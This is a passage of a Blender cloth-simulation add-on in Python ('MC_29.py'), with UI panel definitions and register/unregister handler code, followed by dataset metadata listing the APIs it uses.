bpy.types.Panel):\n    \"\"\"Modeling Cloth Settings\"\"\"\n    bl_label = \"MC Sewing\"\n    bl_idname = \"PANEL_PT_modeling_cloth_sewing\"\n    bl_space_type = 'VIEW_3D'\n    bl_region_type = 'UI'\n    bl_category = \"Extended Tools\"\n\n    def draw(self, context):\n        ob = self.ob\n        cloth = ob.MC_props.cloth\n        if cloth:\n            sc = bpy.context.scene\n            layout = self.layout\n\n            # use current mesh or most recent cloth object if current ob isn't mesh\n            MC_data['recent_object'] = ob\n            col = layout.column(align=True)\n            col.scale_y = 1\n            col.label(text='Sewing')\n            col.prop(ob.MC_props, \"sew_force\", text=\"Sew Force\")\n            col.prop(ob.MC_props, \"target_sew_length\", text=\"Target Length\")\n\n            box = col.box()\n            box.scale_y = 2\n            box.operator('object.mc_create_virtual_springs', text=\"Virtual Springs\", icon='AUTOMERGE_ON')\n            box.operator('object.mc_create_sew_lines', text=\"Sew Lines\", icon='AUTOMERGE_OFF')\n            box.operator('object.mc_sew_to_surface', text=\"Surface Sewing\", icon='MOD_SMOOTH')\n\n            return\n        sc = bpy.context.scene\n        layout = self.layout\n        col = layout.column(align=True)\n        box = col.box()\n        box.scale_y = 2\n        box.operator('object.mc_surface_follow', text=\"Follow Surface\", icon='OUTLINER_DATA_SURFACE')\n        box = col.box()\n        box.scale_y = 1\n        box.prop(ob.MC_props, \"surface_follow_selection_only\", text=\"Selected Polys Only\")\n\n\n# SETTINGS PANEL\nclass PANEL_PT_modelingClothSettings(PANEL_PT_MC_Master, bpy.types.Panel):\n    \"\"\"Modeling Cloth Settings\"\"\"\n    bl_label = \"MC Settings\"\n    bl_idname = \"PANEL_PT_modeling_cloth_settings\"\n    bl_space_type = 'VIEW_3D'\n    bl_region_type = 'UI'\n    bl_category = \"Extended Tools\"\n\n    def draw(self, context):\n        ob = self.ob\n        cloth = ob.MC_props.cloth\n        if cloth:\n            sc = bpy.context.scene\n            layout = self.layout\n\n            # use current mesh or most recent cloth object if current ob isn't mesh\n            MC_data['recent_object'] = ob\n            col = layout.column(align=True)\n            col.scale_y = 1.5\n            col.label(text='Forces')\n            col.prop(ob.MC_props, \"velocity\", text=\"velocity\")\n            col.prop(ob.MC_props, \"gravity\", text=\"gravity\")\n            col.prop(ob.MC_props, \"inflate\", text=\"inflate\")\n            col.prop(ob.MC_props, \"wind_x\", text=\"wind x\")\n            col.prop(ob.MC_props, \"wind_y\", text=\"wind y\")\n            col.prop(ob.MC_props, \"wind_z\", text=\"wind z\")\n            col.prop(ob.MC_props, \"turbulence\", text=\"turbulence\")\n            col.prop(ob.MC_props, \"random_direction\", text=\"random direction\")\n\n            col.label(text='Springs')\n            #col.scale_y = 1\n            col = layout.column(align=True)\n            col.prop(ob.MC_props, \"sub_frames\", text=\"Sub Frames\")\n            col.prop(ob.MC_props, \"stretch_iters\", text=\"stretch iters\")\n            col.prop(ob.MC_props, \"stretch\", text=\"stretch\")\n            col.prop(ob.MC_props, \"push\", text=\"push\")\n            col.prop(ob.MC_props, \"feedback\", text=\"feedback\")\n            col.prop(ob.MC_props, \"bend_iters\", text=\"bend iters\")\n            col.prop(ob.MC_props, \"bend\", text=\"bend\")\n\n\n# VERTEX GROUPS PANEL\nclass PANEL_PT_modelingClothVertexGroups(PANEL_PT_MC_Master, bpy.types.Panel):\n    \"\"\"Modeling Cloth Vertex Groups\"\"\"\n    bl_label = \"MC Vertex Groups\"\n    bl_idname = \"PANEL_PT_modeling_cloth_vertex_groups\"\n    bl_space_type = 'VIEW_3D'\n    bl_region_type = 'UI'\n    bl_category = \"Extended Tools\"\n\n    def draw(self, context):\n        ob = self.ob\n        cloth = ob.MC_props.cloth\n        if cloth:\n            sc = bpy.context.scene\n            layout = self.layout\n\n            # use current mesh or most recent cloth object if current ob isn't mesh\n            MC_data['recent_object'] = ob\n            col = layout.column(align=True)\n            col.scale_y = 1\n            col.label(text='Vertex Groups')\n            col.operator('object.mc_vertex_group_pin', text=\"Pin Selected\", icon='PINNED')\n            col.prop(ob.MC_props, \"vg_pin\", text=\"pin\")\n            col.prop(ob.MC_props, \"vg_drag\", text=\"drag\")\n            col.prop(ob.MC_props, \"vg_surface_follow\", text=\"Surface Follow\")\n\n\nclass PANEL_PT_modelingClothGridTools(PANEL_PT_MC_Master, bpy.types.Panel):\n    \"\"\"Modeling Cloth Grid Tools\"\"\"\n    bl_label = \"MC Grid Tools\"\n    bl_idname = \"PANEL_PT_modeling_cloth_grid_tools\"\n    bl_space_type = 'VIEW_3D'\n    bl_region_type = 'UI'\n    bl_category = \"Extended Tools\"\n    \n    def draw(self, context):\n        ob = self.ob\n        if bpy.context.object is None:\n            return\n        if bpy.context.object.type != 'MESH':\n            return    \n        sc = bpy.context.scene\n        layout = self.layout\n\n        col = layout.column(align=True)\n        col.scale_y = 1\n        col.label(text='Grid Tools')\n        col.operator('object.grid_from_polyline', text=\"Fill Polyline\", icon='MESH_GRID')\n        col.prop(ob.MC_props, \"grid_angle_limit\", text=\"Angle Limit\")\n        col.prop(ob.MC_props, \"grid_size\", text=\"Size\")\n        col.prop(ob.MC_props, \"grid_merge_dist\", text=\"Merge Dist\")\n        col.prop(ob.MC_props, \"grid_smoothing\", text=\"Smooth Iters\")\n        col.prop(ob.MC_props, \"grid_debug_idx\", text=\"debug\")\n        col.prop(ob.MC_props, \"grid_triangles\", text=\"Triangles\")\n\n\n# EDIT MODE PANEL\nclass PANEL_PT_modelingClothPreferences(bpy.types.Panel):\n    \"\"\"Modeling Cloth Preferences\"\"\"\n    bl_label = \"MC Preferences\"\n    bl_idname = \"PANEL_PT_modeling_cloth_preferences\"\n    bl_space_type = 'VIEW_3D'\n    bl_region_type = 'UI'\n    bl_category = \"Extended Tools\"\n\n    def draw(self, context):\n        sc = bpy.context.scene\n        layout = self.layout\n        col = layout.column(align=True)\n        col.scale_y = 1\n        col.label(text='Preferences')\n        col.prop(sc.MC_props, \"run_editmode\", text=\"Editmode Run\")\n        col.prop(sc.MC_props, \"update_shading\", text=\"Update Shading\")\n        col.prop(sc.MC_props, \"pause_selected\", text=\"Pause Selected\")\n        col.prop(sc.MC_props, \"view_virtual\", text=\"View Virtual Springs\")\n\n# ^                                                          ^ #\n# ^                     END draw code                        ^ #\n# ============================================================ #\n\n\n# testing !!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n#install_handler(False)\n\n\n# testing end !!!!!!!!!!!!!!!!!!!!!!!!!\n\n\n\n# ============================================================ #\n#                         Register                             #\n#                                                              #\ndef duplication_and_load():\n    \"\"\"Runs in it's own handler for updating objects\n    that are duplicated while coth properties are true.\n    Also checks for cloth, collider, and target objects\n    in the file when blender loads.\"\"\"\n    # for loading no need to check for duplicates because we are regenerating data for everyone\n    #if load:\n    #    return 0\n\n\n    # for detecting duplicates\n    obm = False # because deepcopy doesn't work on bmesh\n    print(\"running duplicator\")\n    cloths = [i for i in bpy.data.objects if i.MC_props.cloth]\n    if len(cloths) > 0:\n        id = [i['MC_cloth_id'] for i in cloths]\n        idx = max(id) + 1\n        u, inv, counts = np.unique(id, return_inverse=True, return_counts=True)\n        repeated = counts[inv] > 1\n        if np.any(repeated):\n            dups = np.array(cloths)[repeated]\n            for i in dups:\n                cloth_instance = MC_data['cloths'][i['MC_cloth_id']]\n                cloth_instance.ob = None\n                cloth_instance.target = None # objs don't copy with deepcopy\n                if 'obm' in dir(cloth_instance):\n                    obm = True # objs don't copy with deepcopy\n                    cloth_instance.obm = None # objs don't copy with deepcopy\n                MC_data['cloths'][idx] = copy.deepcopy(cloth_instance)\n                MC_data['cloths'][idx].ob = i # cloth.ob doesn't copy\n                MC_data['cloths'][idx].target = i.MC_props.target # cloth.ob doesn't copy\n\n                # not sure if I need to remake the bmesh since it will be remade anyway... Can't duplicate an object in edit mode. If we switch to edit mode it will remake the bmesh.\n                #if obm:\n                    #MC_data['cloths'][idx].obm = get_bmesh(i) # bmesh doesn't copy\n\n                i['MC_cloth_id'] = idx\n                idx += 1\n\n            print(\"duplicated an object cloth instance here=============\")\n            # remove the cloth instances that have been copied\n            for i in np.unique(np.array(id)[repeated]):\n                MC_data['cloths'].pop(i)\n\n    print(\"finished duplication =====+++++++++++++++++++++++++\")\n    colliders = [i for i in bpy.data.objects if i.MC_props.cloth]\n    return 1\n\n\nclasses = (\n    McPropsObject,\n    McPropsScene,\n    MCResetToBasisShape,\n    MCResetSelectedToBasisShape,\n    MCRefreshVertexGroups,\n    MCSurfaceFollow,\n    MCCreateSewLines,\n    MCSewToSurface,\n    MCCreateVirtualSprings,\n    MCDeleteCache,\n    GridFromPolyline,\n    MCCreateMeshKeyframe,\n    MCRemoveMeshKeyframe,\n    PANEL_PT_modelingClothMain,\n    PANEL_PT_modelingClothCache,\n    PANEL_PT_modelingClothSettings,\n    PANEL_PT_modelingClothSewing,\n    PANEL_PT_modelingClothVertexGroups,\n    PANEL_PT_modelingClothGridTools,\n    PANEL_PT_modelingClothPreferences,\n    MCVertexGroupPin,\n    PinSelected,\n)\n\n\ndef register():\n    # classes\n    from bpy.utils import register_class\n    for cls in classes:\n        register_class(cls)\n\n    # props\n    bpy.types.Object.MC_props = bpy.props.PointerProperty(type=McPropsObject)\n    bpy.types.Scene.MC_props = bpy.props.PointerProperty(type=McPropsScene)\n\n    # clean dead versions of the undo handler\n    handler_names = np.array([i.__name__ for i in bpy.app.handlers.undo_post])\n    booly = [i == 'undo_frustration' for i in handler_names]\n    idx = np.arange(handler_names.shape[0])\n    idx_to_kill = idx[booly]\n    for i in idx_to_kill[::-1]:\n        del(bpy.app.handlers.undo_post[i])\n        print(\"deleted handler \", i)\n\n    # drop in the undo handler\n    bpy.app.handlers.undo_post.append(undo_frustration)\n\n    # register the data management timer. Updates duplicated objects and objects with modeling cloth properties\n    if False:\n        bpy.app.timers.register(duplication_and_load)\n\n    # special forces -------------\n    bpy.types.Scene.MC_seam_wrangler = False\n\n    # load -----------------------\n    #bpy.app.handlers.load_pre.append(reload_from_save)\n    bpy.app.handlers.load_post.append(reload_from_save)\n\n\ndef unregister():\n    # classes\n    \n    msg = 'Goodbye cruel world. I may be unregistered but I will live on in your hearts. MC_29 FOREVER!'\n    bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n\n    from bpy.utils import unregister_class\n    for cls in reversed(classes):\n        unregister_class(cls)\n\n    # props\n    del(bpy.types.Scene.MC_props)\n    del(bpy.types.Object.MC_props)\n\n    # clean dead versions of the undo handler\n    handler_names = np.array([i.__name__ for i in bpy.app.handlers.undo_post])\n    booly = [i == 'undo_frustration' for i in handler_names]\n    idx = np.arange(handler_names.shape[0])\n    idx_to_kill = idx[booly]\n    for i in idx_to_kill[::-1]:\n        del(bpy.app.handlers.undo_post[i])\n\n    handler_names = np.array([i.__name__ for i in bpy.app.handlers.load_post])\n    booly = [i == 'reload_from_save' for i in handler_names]\n    idx = np.arange(handler_names.shape[0])\n    idx_to_kill = idx[booly]\n\n    for i in idx_to_kill[::-1]:\n        del(bpy.app.handlers.load_post[i])\n\n        \ndef soft_unregister():\n    # props\n    del(bpy.types.Scene.MC_props)\n    del(bpy.types.Object.MC_props)\n\n    # clean dead versions of the undo handler\n    handler_names = np.array([i.__name__ for i in bpy.app.handlers.undo_post])\n    booly = [i == 'undo_frustration' for i in handler_names]\n    idx = np.arange(handler_names.shape[0])\n    idx_to_kill = idx[booly]\n    for i in idx_to_kill[::-1]:\n        del(bpy.app.handlers.undo_post[i])\n\n    handler_names = np.array([i.__name__ for i in bpy.app.handlers.load_post])\n    booly = [i == 'reload_from_save' for i in handler_names]\n    idx = np.arange(handler_names.shape[0])\n    idx_to_kill = idx[booly]\n\n    for i in idx_to_kill[::-1]:\n        del(bpy.app.handlers.load_post[i])\n\n\nif __name__ == \"__main__\":\n    #unregister()\n    reload()\n    register()\n    \n    \n    \nprint('--------------- new ---------------')\n", "sub_path": "MC_29.py", "file_name": "MC_29.py", "file_ext": "py", "file_size_in_byte": 177487, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "bpy.data", "line_number": 89, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 90, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 91, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 92, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 93, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 116, "usage_type": "call"}, {"api_name": "bpy.types", "line_number": 130, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 132, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 135, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 156, "usage_type": "attribute"}, {"api_name": "bpy.data.texts.new", "line_number": 157, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 157, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 159, "usage_type": "attribute"}, {"api_name": "numpy.savetxt", "line_number": 160, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 165, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 166, "usage_type": "attribute"}, {"api_name": "numpy.fromstring", "line_number": 169, "usage_type": "call"}, {"api_name": "bmesh.update_edit_mesh", "line_number": 176, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 185, "usage_type": "attribute"}, {"api_name": "bpy.data.meshes.remove", "line_number": 187, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 187, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 189, "usage_type": "attribute"}, {"api_name": "bpy.data.objects.remove", "line_number": 191, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 191, "usage_type": "attribute"}, {"api_name": "bpy.data.meshes.new", "line_number": 197, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 197, "usage_type": "attribute"}, {"api_name": "bpy.data.objects.new", "line_number": 200, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 200, "usage_type": "attribute"}, {"api_name": "bpy.context.collection.objects.link", "line_number": 201, "usage_type": "call"}, {"api_name": "bpy.context", "line_number": 201, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 210, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 213, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 217, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 241, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 261, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 275, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 285, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 307, "usage_type": "call"}, {"api_name": "inspect.getfile", "line_number": 307, "usage_type": "call"}, {"api_name": "inspect.currentframe", "line_number": 307, "usage_type": "call"}, {"api_name": "bpy.data.texts.new", "line_number": 319, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 319, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 343, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 351, "usage_type": "call"}, {"api_name": "os.path", "line_number": 351, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 353, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 374, "usage_type": "call"}, {"api_name": "bpy.context", "line_number": 388, "usage_type": "attribute"}, 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